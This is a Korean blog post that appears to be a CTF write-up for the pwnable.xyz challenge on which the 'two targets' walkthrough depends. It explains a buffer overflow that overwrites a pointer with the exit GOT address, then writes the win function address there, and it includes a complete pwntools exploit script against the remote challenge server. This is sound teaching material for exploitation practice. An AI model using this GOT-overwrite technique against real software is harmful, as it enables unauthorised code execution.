1) 2번 메뉴
V7과 v8이 0x10 차이 나므로 2에서 nationality를 ‘A’로 채우면 v8을 덮을 수 있다. 먼저 v8에 got를 넣고,
2) 3번 메뉴
3번에서 v8을 int형으로 입력받는데 (64비트에서 %d는 4바이트이다..) 이때 v8은 어떤 libc의 got이므로 덮고자하는 주소, 즉 win 함수 주소를 주면 got를 win 주소로 덮을 수 있다.
V8은 scanf에서 %d로 받으므로 str(win)으로 준다.
처음에 got로 puts 함수를 사용하려고 했는데 puts got에 0x20 포함했다. 아스키 코드 20이 스페이스라서 scanf는 스페이스를 받지 않기 때문에 exit이 된다.
그리고 libc 함수들 중에서 아직 사용되지 않은, 호출되지 않은 주소를 사용해야 한다.
exit got 사용 -> setup의 handle에서 exit(1)을 부르는데 alarm(60)을 하므로 handle에서 exit이 수행되고 60초가 지난 후 exit이 실행되는데, 실질적으로 win 함수 주소로 덮어서 win에서 cat flag로 flag가 출력됨
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30031)
elf = ELF("./challenge")
exit_got = elf.got['exit']
p.sendafter("> ", '2')
p.sendafter("nationality: ", 'A'*0x10 + p64(exit_got))
p.sendafter("> ", '3')
p.sendlineafter("age: ", str(elf.symbols['win']))
p.interactive()
# exploit
60초 뒤에 flag가 떴다.
[pwnable.xyz] free spirit (0) | 2019.11.11 |
---|---|
[pwnable.xyz] two targets - shell (pwnable) (0) | 2019.11.02 |
[pwnable.xyz] xor (0) | 2019.09.28 |
[pwnable.xyz] Grownup (0) | 2019.09.27 |
[pwnable.xyz] note (0) | 2019.09.27 |